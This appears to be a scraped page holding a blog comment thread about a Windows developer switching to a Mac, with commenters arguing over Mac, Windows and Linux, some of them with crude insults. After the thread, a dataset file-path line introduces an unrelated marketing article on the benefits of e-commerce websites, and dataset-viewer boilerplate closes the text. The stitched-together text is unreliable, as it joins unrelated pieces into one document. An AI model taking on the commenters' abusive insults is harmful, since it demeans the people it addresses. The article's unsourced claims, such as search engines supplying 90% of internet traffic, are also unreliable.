I was, like the author, a hard core-Win. Macs were only toys, cute but totally useless things. This was in the Mac OS 7-8 era. But I started to use both. Later on, VAX.VMS and SUNOS as well. Even somewhat later, linux.
The key is to try and compare. You simply will not know how happy you are with VISTA until you have compared to other systems yourself...
Thomas B said…
Are you talking MS Office or programming?
Two totally different things.
MS Office, THE very latest version from MS, actually only runs on MacOS X (Office 2008 for Mac OS X)
And yes, if you are serious about programming (not Visual BASIC crap) mac OS is probably easier to get the things done on quicker and better (better API's).
Jules said…
Welcome to the Mac family. Your post will really help a lot of people with an objective point of view.
If you need some tips and tricks to get productive on your mac feel free to check my blog at www.MostOfMyMac.com
Feel free to contact me if you have any questions on your new platform.
Anonymous said…
I've been running a PowerBook or a MacBook Pro for over six years now. The PowerBook replaced my old Dell Linux laptop.
I'm by no means a "Windows must die" or "Linux sux" person. I just was in the market for a new laptop with an UNIX operating system, and I was disappointed with the support/feel of Mandrake, Redhat, SuSE, etc (note, Ubuntu didn't exist at the time.. so don't ask about it =)
I spend the majority of my day doing web development, system administration, windows/unix desktop support, and software development on Solaris/Linux/BSD boxes.
Mind you, I did video editing on the Mac along with general Mac support back in college, and I wasn't very impressed with MacOS 5 to MacOS 7. =) However, seeing MacOS X was based on NeXTStep (which I fell in love with in college, and even owned a slab for a while) I gave it a chance.
I've barely looked back. My only two serious complaints are (a) I have to be a bit more picky about add-on buys (Not all USB devices are created equal) and (b) My library for gaming is all Windows based, and rarely do any of those titled get ported or when they do I can't justify the $60 rebuy of a game I own. (Side Note: Same is true with any Windows software I own in general.)
But as I said, since I already spent majority of my work day under some form of UNIX writing some shell script or doing some data processing it fits well with my life style.
I'm now very happy with my Mac Book Pro as my primary computer and the little Mac Mini pretending to be a media center box in my living room. =)
- Ben
Robert said…
Can I run VS.NET on a Mac and will it run fast ...and...does the thing get very hot ?..or is it just like then normal heat with other laptops?
Anonymous said…
As for your right click dilema you can hold control then click or in your system preferences you can have the pad detect two fingers then when you click it will act as a right click.
I'm a long time and original mac user. I did buy a PC for work years ago as I needed to be able to run proprietary software, and I learned to respect the machine. I've had a PC and Mac sitting side by side at home for years now, and I like having the options. The funny thing is...while Mac's are known for ease of use and being a "consumer" machine, I've flopped their roles. My PC is my web browser and game machine. My mac is my workhorse, it does EVERYTHING else for me. When I do wind back down to one platform, it will be Mac alone.
Anonymous said…
@William, you are a fucking idiot. "Long live c/c++ blah blah blah" no one gives a shit about what you think is the greatest and what you think is faster/slower than anything else. You think FreeBSD is more cleanly written than Linux? Is this just an inkling? Do you know Java is faster/slower on Linux than FreeBSD? Or is this just a personal observation?
Sean Straus said…
This article was a pointless waste of my time. Nicholas, please don't share any more of your life, I can't take any more idiocy.
And the rest of you congratulating him, why not just try good old fashioned masturbation.
Unknown said…
Hey David, as a fellow Mac convert, thought I'd share that you can easily move to the beginning and end of a line easily by using the arrow keys.
For a single line of text, use the up arrow to go to the beginning or down arrow for the end. For a multiple lines, you can use the command key + the directional arrow (up or down). Finally, the command + arrow, works for left and right arrows too (for navigating to the beginning or end of the current line).
Glad you're enjoying your new Mac. Hope this tip helps.
Anonymous said…
@Mike: "and they do what they can do well but what they can do is pretty limited."
Spoken by someone who's got his head up his ass and hasn't used a Mac since System 6. MacOS X is Unix, idiot. So what you're saying is Unix can't do much.
@Mike (again) "Right now, Mac is living on security by obscurity."
That's been posited and debunked more times than you've had hot meals, bucko.
Sheesh. Why are so many people full of hatred for Macs? They're great computers. Perfect? No. But then in what way is Windows perfect?
Dave said…
Idiots...if you think there are not serious security vulns in unix then you should resign from your sudo IT jobs. Feel free to check out IBM's aix patch pages or Novells sled patch pages - theres a shitload of security patches. In the unix world, vulnerabilities are simply not "labled" as viral ingress issues, but in the end its all words. The more common place an os the more folks are tinkering with it and trying to get in. Since Apple made the switch to a unix deriv its days of "virus free" are over and only douchenozzles who know NOTHING about security believe otherwise. Get a real job or shutup and go back to retouching photos and making mix tapes and synching your pretty but non-G3 iPhones you happy-happy-joy-joy market slave ass clowns. Go ahead and convert and see how easy it is to find a good job where your pretty little toys mean something to people who really know technology.
Robert said…
Ok, none of you are really developers because you cannot even answer my frickin simple question....Can I run vs.net on that thing..oh well..I will just go to a mac shop and get an answer..and who cares about all that linux-windows crap..that's old
Stephan Hoppe said…
Most developers I've met can barely power on a PC, let alone administer and maintain one. Developers should stick to comparing Java to .NET and leave PC vs. Mac arguments to those that actually know computers.
srobot said…
@Thomas B
My point is which can do more, Windows, OS X, Linux, or BSD?
I'm not talking out of box, I'm talking over time.
I'm sorry, but Office 2007 for Windows and Office 2008 for Mac is ALMOST* the same thing!
* The software has slight GUI differences due to OS layout styles.
@Who ever told me to use Linux
I've used many Linux distros (I like and use Fedora 8 now), tried FreeBSD (could not get it installed)
Before we say one OS is better we MUST use the SAME system types (2GB RAM for 2GB RAM, NOT 2GB RAM for 1GB RAM). It's just not the same when one is a walmart computer and the other is a Mac Pro!!!
N/a said…
Ok, I'd like to think that I've approached the os question with an open mind. I've tried to at least dabble in many different operating systems, from DSL, Kubuntu, Ubuntu, centOS, XP, and OSX. (and yes, while Ubuntu and Kubuntu are related, do realize that the applications bundle does lead to a different user experiences) While the extent of what I've tried makes me by no means an expert, it at least qualifies me to an educated guess.
Macs can be stable, and yes, it's because they are designed for very specific hardware. XP can also be very stable, if you don't mess it up. I've been running XP on this computer since early September, and haven't had any major issues. I even keep it on most of the time. Kubuntu is also pretty stable, when used on decent equipment. It isn't a cure for parts on their last days.
XP can look pretty, as does Mac. Ubuntu is pretty as well(I booted 7.10 the other night, and was stunned. I had forgotten how pretty it can be), and KDE (the desktop environment for Kubuntu) 4.0 shows a pretty good image of where KDE is going.
While I have nothing against people using Macs, I personally can't afford one, nor do I find anything really enviable about one, other than the fact that they are pretty well designed and, well, pretty. But starting at $1099 for something other than a Mac Mini, It's just so expensive. And if it actually breaks, it's expensive to fix. It also has one of the most annoying crash screens (telling me to reboot doesn't tell me what's wrong...) At least with Windows it tells you what messed itself, to an extent.
Windows has it's fair share of problems too, tho shovelware is the vendor's fault, and not the OS's. A clean install of XP comes with practically nothing. (wish it came with Firefox tho... Save me the trouble of having to do it myself...) So, Vendor's fault. As for viruses, it's usually someone pulling a stupid. Because, people do stupid things. It's just our kind of thing. It's what we do. Most of the flaws with Windows is how it was built tho. So, yeah, some fault on the OS too.
Linux is working on better support for everything, and trust me, it's getting better all the time. Just look at the differences between 6.07 and 7.10. They're fantastic. As for a lack of "commercial support", Dell now sells laptops preloaded with Ubuntu, and has been selling servers with Red hat, if I'm not mistaken, for years. Factor in Eee PCs and Linux being sold by Walmart, and I'd say it's getting better all the time. And I'm not sure how easy it is to find the nvidia drivers for newer and much more high end cards, but I've never really had trouble with finding drivers for linux boxes. Commercial support is getting better and better with time.
So, for the moment and for me, I'm a huge fan of Linux. Not because I haven't seen what else is out there, but because I have seen what is out there. While Macs are well designed and stable, they are just too expensive for my wallet. I like XP, but I'm not entirely sure I like being Bill's bitch. So, the happy medium, not too expensive( as in free, so cost of equipment), still stable and virus free, is Linux.
But that's just me. Everyone has their own flavour of OS
Anonymous said…
Welcome to the dark side. :) Hat tip to Nicholas for cross-linking to my shift post.
markng said…
I had been a SunOS programmer for > 10 years until I started doing serious programming on Windows a few years ago; then last year I was given a Mac at work, really thought it would be delightful.
No, I was thoroughly disappointed.
Little things like uninstalling an application - I couldn't figure out how to, had to google it (drill down to some obscure directory and run a perl script, please). Not nearly as many free applications online as Windows/Linux or even SunOS/Solaris available for Mac (perhaps I didn't know where to look?). My Mac keyboard has an "End" key but it doesn't work, goosh, can't they accomodate that? (yeah, I know, ctrl-E, but the End key works on alot of Solaris apps you know).
It's an eye candy but comparable apps (like firefox) run faster on a comparable equiped PC. So yeah, the Mac "just works", it "just works slower".
I don't recklessly install "freeware" on my Windows PCs so they have always been virus/spyware free, despite the fact that I don't even run any anti-virus or firewall. I don't understand why other people (technie???) find it so difficult to do.
Unknown said…
Markng -
If you still have that Mac, you may want to give it another shot. The "End" key works as expected for me in Leopard. I also usually have no problem finding freeware apps for the Mac - try versiontracker.com. Uninstall an app - Just delete it - it's fine and won't leave behind too much. If you want something a bit more permanent - use the shareware app AppZapper. For web-browsing - I used to prefer Firefox, but have found the newest version of Safari to be faster and more stable. Hope this helps!
FYI - Mac user at home, Windows user at work. Also built my own PC (Win XP) and am familiar with both Windows and Mac (though, I have to say - I keep trying Linux, but just can't get into it...)
David Alison said…
@N/a: I completely understand where you are coming from and don't disagree with anything you've written. I believe that the various Linux distributions are as important as ever now. For years I cycled through distros until I settled in on Ubuntu and really like it.
@markng.net: I think I started playing with Mac at just the right time because this version of Leopard has been getting pretty good reviews from the Mac community. It's not without issues but it's been rock-stable for me and I've been installing and removing new applications like they are going out of style.
@Windows doesn't get viruses: I've heard this quite a few times. "If you know what you are doing you won't get a virus". That my friends is great if you are hyper aware of everything you do. And don't have kids that may use your computer.
I placed one of my former gaming rigs into our den for use by the family. That machine was clean and fast and performed great with Windows XP. Within weeks of putting it out there and giving my 3 kids access to it the machine had slowed to a crawl and popups were everywhere.
Crap. Ok, reformat, reinstall Windows XP, apply all of the patches, then immediately install the Symantec suite. This time it lasted for nearly a year before becoming unusable. Symantec wasn't very good about catching the adware crap that someone had managed to put on the machine because every 5 minutes or so IE would pop up with a random ad.
Think this can only happen to noobs using Windows? Up until recently I was really into FPS games like COD4 and BF2. New patches for them would come out regularly but since EA and the other game companies couldn't afford the bandwidth needed to support the massive downloads they depend on mirror sites for that. Well, some of these mirror sites like to alter the package and put some extra stuff in there (adware crap) to offset their bandwidth costs. Looked like a legit, EA endorsed download to me.
What all this means is that when you use Windows XP without anti-virus protection you are always walking in a dangerous neighborhood and you need to be very aware of your surroundings at all time. Stay alert and on your toes and you should be fine. I do not get that feeling at all with my Mac.
I'm sure some human tool will attack the Mac as it becomes more popular. Fortunately, right now, it's still a nice neighborhood.
Anonymous said…
I had the exact same experience when sending my daughter to college. Luckily, I was a UNIX guy and became her "sysop" when she came back from college; doing updates and backups. (She was an undergrad art student/communications major... went to Grad school in business.) My daughter did not have a mandatory Mac requirement; her school was both Mac and PC.
I'd guess that I had less of a transition. What I loved was that I no longer was buying NAV and that other crappy firewall stuff.
Never a major problem since OSX 10.1. Had a few disk drives crashes after continuous non-stop use while in college.
Good to see that we've had the same experience,
Unknown said…
You'll be happy until your hardware craps out on you, and for what would cost 30 bucks to replace on a PC, will cost you around 200 or more on your mac, only to have it break on you again. Apple uses bad hardware. I had an emac. I had it for 6 months, until one night my computer froze and would not turn on again. Something happened to the screen and the motherboard. After I got it back from the apple store, my computer would always flicker, start over heating and would make crunching sounds. It also started working slower and slower, it was almost unbearable to use, until not too long ago it wouldn't come on again. Now I use my boyfriends pc, which works 3X's faster than any mac I laid hands on. My friend bought an ibook, the last ones that had come out. He had to replace the motherboard 3 times. He decided to get a brand new powerbook. After he got it home, the p key didn't work and still doesn't. Stick to your pcs folks. With macs, all you're paying for is Apple to build you a pretty computer that has crappy parts and charge you up the ass for their crappy crap.
Unknown said…
Hi David - I too am a Windows developer that hasn't been totally converted from the Windows to the Mac platform, but so far I like what I'm seeing from the Apple camp.
I purchased my first MacBook in December and started to chronicle my experiences. If interested, you can find my ramblings at http://www.pcguywithamac.com
I'll be reading up on your adventures as the weekend goes on. Thank you for sharing your adventures with us.
David Alison said…
@fhydraulics: OMG - you said sysop! I haven't heard that term in so long!
@jonathan: If I had those kinds of problems I would stay away from a Mac too! The circle of people I'm around have been pretty lucky I guess since hardware reliability has not been an issue with any of them. I'm still new to this so maybe they've improved QC.
@brian: I like your blog man - added it to my RSS feed.
Peter Samson said…
I transitioned to a Mac laptop almost one year ago. There is no going back... movingtomac.blogspot.com
Donnerschlag said…
All I can say is that PC manufactures suck. You have to build them yourself. I have been building PCs for a better over 5 years now and I have never had any problems with Windows XP. I use no Anti-Virus software or use any crappy browsers like AOL. I cannot remember the last time I had a virus.
I can run any program I need and play any game that I want. I would like to see a Mac play Crysis on Very High Settings. I have Windows XP, Vista and MAC OSX installed on it. I only use MAC when I have to troubleshoot something for MAC users at my school.
The thing I like about PCs is the customization options available. One thing I do like about the MAC is that it looks nice and that it uses UNIX unlike Windows.
The one thing though I hate about macs is the hardware. Its all proprietary, if it breaks you have to send it in to get fixes. With my PC and just just replace the part or repair it and its up and running.
When deciding on getting a PC and MAC you have to think what are you going to be using it for. For email and facebook or music MACs are a good choice. But for the more hardcore gaming or large apps, get a PC.
TechMan2000 said…
The solution is simple : Run Leopard on a pc. Most popular p35 boards with a core2duo will do. Then you have the best of both worlds : Cheap pc hardware and leopard.
My opinion after using it for a while : It's nice but no games, no good usenet programs, no media center, bad codec support, horrible quicktime/itunes/iphoto.
If you are thinking about a mac and have a look first with leopard on a pc, when you like it you can always later decide to buy one of the overpriced "look it's nice" boxes from apple itself.
Unknown said…
There is nothing obscure about uninstalling a program on a Mac. You drag the application to the trash then you empty the trash. Zingo! Program uninstalled.
Concerned about hanging preferences? You needn't be but if you are.
open ~/Library/preferences/, drag pref to the trash. Not necessary but keeps things neat.
Seb said…
Just wanted to say something about a previous comment. The person stated that Mac security is currently running on security through obscurity. Despite some vulnerabilities that do indeed need attention, I couldn't disagree more. Mac OS X uses good core security methodologies, and offers very usable and secure solutions out of the box. It seems like the person didn't really understand what security through obscurity actually means.
Welcome to the Mac, David, I have absolutely no doubt that you will find it a much more enjoyable development (and recreational) environment to work with.
For those of you who are just switching and are interested in keeping yourselves secure, you're welcome to visit securethoughts.net , which features a guide on Securing Leopard as well as regular news and other tutorials on keeping your Mac and your data safe.
- SJ
David Alison said…
@SJ: great link and a very interesting site. Thanks!
Anonymous said…
To make your mac even better, you should put Ubuntu on it! Mac os/x has its perks, but I haven't found anything better than linux when it comes to productivity and multi-tasking.
Macs are too over-priced for my taste.
I work with an 8 core, 2 cpu mac system at work and I could build the same system for under 1500. Beats the 5k or so my work paid for it.
And I know this has been said over and over, but cant they get a second mouse button? Seriously, ctrl-click is annoying as hell especially if you're doing any editing in video or audio. I have to bring a mouse to work.
Unknown said…
You're probably getting tired of hearing "me too", but Me too! I have been a systems administrator for 11 years and have my own computer repair business. Nearly half of the employees where I work (mostly physicians) bought macs for their everyday needs and kept calling me with questions, so I got approval to purchase one so I could help out. Bought a mac mini, bumped up the ram and fell in love. I run Windows with Parallels for all the Windows stuff that is inevitable. Remote desktop for Mac to get to all the other pcs in the office.
Thanks for the article,
David Alison said…
@duarschloch: I'm not a big fan of the Mighty Mouse, though it does support right clicking. I pretty quickly attached a Logitech mouse to my Mac and it works great. OS X has excellent support for right clicking.
I also have Ubuntu on a workstation at home and love that distro - easily the most user friendly Linux variation I've played with.
While you can build a comparable machine through NewEgg for a significant amount less than the comparable hardware from Apple, there are other benefits to the Mac solution model. The big one is that since everything is a predefined set of hardware you don't have to worry about compatibility issues. From an Apple standpoint it becomes much easier to support.
A Mac is not for everyone. I can see why some people get upset over the lack of hardware choices outside the one Apple wants you to have. That used to get to me too. But since I've been using a Mac it's not bothering me. It's just worked, which I really like. It's nice for a change not to worry about driver versions and compatibility issues.
sid9102 said…
I love macs. However, i'm a gamer. I really like macs because of the media apps like garageband and imovie, and i like the way everything works together. However, I'm gonna stick with vista for the games. also, i seriously don't find that many problems with vista. It isn't too slow on my com (which has 1 gig ram, and a pentium d (ooooold processor)), and its not like i'm always infected with viruses or anything. i'm not a fanboy of anything. I'd instantly switch if all video games became compatible with osx. i find osx quite easy to use, and i helped a friend set his mac up when he got one. Still, most complaints about "using multiple antivirus and antispyware softwares just to keep it working" and "it crashes like 7 times a day" are bull.
Unknown said…
I love these people that try to convince people that are truly happy with a product that it is bad. I've been a Mac (I also dislike it when Mac is in all caps.) user all my life. I was actually teased in junior high and high school because of that fact. Apparently using Macs made me "gay." This is the sort of rambling gibberish that makes the PC community a real turn-off sometimes.
To the people that spout random garbage, no one is listening to you. We love our Macs. We find them to be capable, and the tons of open source and freeware that is available shows that fact. The Apple community is one big thing that I enjoy. You see someone with a Mac laptop or computer, you instantly have a common bond. Seeing someone with a Mac just tends to bring a smile to my face. It feels like redemption. I was teased, but now, I'm starting to gain the upper hand.
18 years, Windows free. (Save for what I was forced to use in the public school system.)
MacBook Pro, Running Leopard and Ubuntu 7.10 (just for fun :) )
Before I moved out, I was running the latest version of Tiger on my 400mhz, 512mb RAM blueberry iMac. Some of the flash was missing, but it sure ran.
Anonymous said…
Are you kidding me? Macs are Unix underneath - BSD unix specifically, and have FAR more ability to troubleshoot network problems than Windows.
GreyedOut said…
My advice is learn to use the Mac OS X specific key/combo's... kinda like when you learn a new language--the only way to be truly fluent is total immersion ;)
In answer to some other posts, I'm definitely out of the norm in terms of user experience... people turn down the hate!! Let people use what they want to use... and try not criticizing "without walking a mile in another's shoes"...
I grew up coding on paper tape and punched cards, from UNIX on PDP's, to VMS on VAX's, then using A/UX on Lisa's, moving to AIX on IBM RISC systems. I was a beta tester Windows 0.9 on x86's, used Mac OS 7/8/9, loved the introduction of Win 3.01.
For over 27yrs, I developed, optimized and hardened computers, databases and networks... I've programmed in binary, assembly, 3gen and OO languages... Not a novice user, I say use what feels right to you, and jump in a whole way.
For some this is a PC running Windows, for others a PC running Linux, (having a PC running OS X would be a violation of the license agreement, so...) for others a Mac running OS X :-)
BTW, when it comes to personal computing, I use a Mac :)
David Alison said…
@greyedout: I couldn't agree more (the hater attitude).
It's tough for me to keep the keyboard combinations straight because I'm a pretty fast touch typist AND I have to use both a Windows XP based PC and my Mac side by side right now. I'm getting better being able to switch between the two though.
Rev. CMOT TMPV said…
Welcome to the Mac world. Enjoy your machine.
Marcus Ronaldi said…
My oldest brother has always used Macs (since he gave me his Adam).
I got into Macs in 2000 because I wanted to do video editing which was not readily available on PC's at the time.
Since that time when it comes time to get a new computer I do not even consider PC's. I have to use a Dell at work and it just clunks along.
Often my friends will ask for technical advice and my first is to switch to Mac.
David Alison said…
@Marcus: Macs have come a long way, especially since the release of OS X. I think a lot of people using Windows dismiss Macs because they tried them out back in the 80s or 90s and haven't what they are all about now. I was in that camp until recently myself.
Anonymous said…
I'm a Mac convert and I'm a believer. Love my Mac.
Anonymous said…
Simple: They don't have a password
Anonymous said…
Is there any place to find stuff about Macs said by Dave before he got his MacBook?
David Alison said…
@Anon: Nope, sorry. I didn't start blogging until after I got my Mac. My anti-Mac comments were usually said to co-workers when one of our web based applications wouldn't work on Safari.
Anonymous said…
Hi! I just got a MacBook Pro but still need Win XP to develop applications for Windows. I want to use "boot camp" to have both OSs installed. Do you know if it is safe to code under windows on a MacBook? Regards Nick
UltimaHosts said…
First thing I did when I got a Mac (as a Windows Dev) was to load XP via Parallels desktop. After being on the Mac for 1 year now I can really only say that I like the actual hardware - though it cooks my lap at times. I am heading back to a Windows notebook in my next cycle.
Unknown said…
Wow, you made a really good posting about a Mac. I'll read all of your postings before buying a Mac!
Popular posts from this blog
Fixing a simple Time Machine error
Should internet access be limited for employees?
What to say to a parent that lost a child |
global_01_local_0_shard_00002368_processed.jsonl/54610 | Top 8 Benefits of E-Commerce Websites
If you own a physical store then one of the ways you can grow your business is through e-commerce. This means setting up an online store through your website.
Some online stores have never had a physical location where customers can visit i.e. Amazon, and others have moved to being online only ~ think bookstores.
While e-commerce websites do have their disadvantages like anything else, there are several advantages that business owners will inherit by going online.
In this article, we go through the top 8 benefits you will inherit by establishing an e-commerce website.
Geographic location is no longer a barrier
When it comes to e-commerce websites, your customers can live under a rock. So long as they have a mail box from which they can collect their purchase from, you can serve them. Brands such as Amazon, eBay and Alibaba successfully serve an international audience without having a physical location. When it comes to domestic brands then The Iconic, Aussie Bum and The Music Gig are examples of brands that perform well on a national scale as well.
Search engine visibility helps new customers find you
As the source of 90% of traffic across the entire internet, search engines are probably the best way to attract new customers. Whether you opt for paid advertising or search engine optimisation, search engines will bring in new customers that are more likely to be ready to make a purchase.
Lower overheads
A no-brainer. It costs less to establish and maintain a website than it does a physical store. This goes beyond building costs and involves staffing, plus other costs as well. With an e-commerce website, you can further lower your costs through marketing automation for tasks such as check out and inventory control. Also, you can cover existing costs by generating traffic through search engines and other advertising channels. Finally, having an e-commerce website means that you don’t have to have a physical location at all, meaning the overheads inherited by running a physical store may not be relevant to you at all.
Streamlined sales
Just about every e-commerce website out there has search functionality. This means that customers can find exactly what they’re looking for with the click of a few buttons. Additionally, they don’t have to interact with anyone while doing so either. Additionally, with intuitive website design, you can lead customers to your website as quickly as possible.
Targeted communication
The world of marketing has drastically evolved and it’s world-leading e-commerce websites that use some of the most innovative techniques to make sales. Re-targeting through the use of cookies, Facebook pixels and capturing customer information are some of the most popular methods among e-commerce websites when it comes to attracting new or repeat customers. For example, let’s say you’ve gone to an e-commerce store such as Amazon and subscribed to their newsletter. Chances are, shortly thereafter receive emails about products and promotions on their website. You were never a customer, but you gave them some sort of information with which Amazon could re-target you to try and turn you into one.
Open 24/7
Another no-brainer. Still worth mentioning, though. With an e-commerce website, there are no closing times. This means that your customers can shop at their own convenience. Therefore, in a way, you can earn money while your fast asleep.
Ultimate value in one place
Unlike with a physical store, there’s no limit to the amount of information you can provide customers with via an e-commerce website. If you’re reselling another brand’s products then most of this information will be provided by the supplier and won’t actually cost you any money.
Another value-adding initiative that you can add to your e-commerce website at the click of a button is deals, bargains and coupons. Additionally, customers can take advantage of these promotions at the click of a button as well.
Finally, another way you can provide your customers with value when they visit your e-commerce website is through comparison shopping. For example, if you sell similar products from multiple suppliers then you can help customers find the best price right on your website.
Breakthrough in niche markets
If you sell niche products then it might be difficult for customers to locate you in the physical world. Though, online it’s quite the opposite. Search engine marketing helps customers find you through relevant search term. What’s more, it’s often easier to get found if you’re in a niche market rather than selling everyday products.
Convinced that your business might benefit from an e-commerce website. Request a quote and see how much it could cost you.
Enjoy this article? Subscribe for more free web and marketing tips. |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.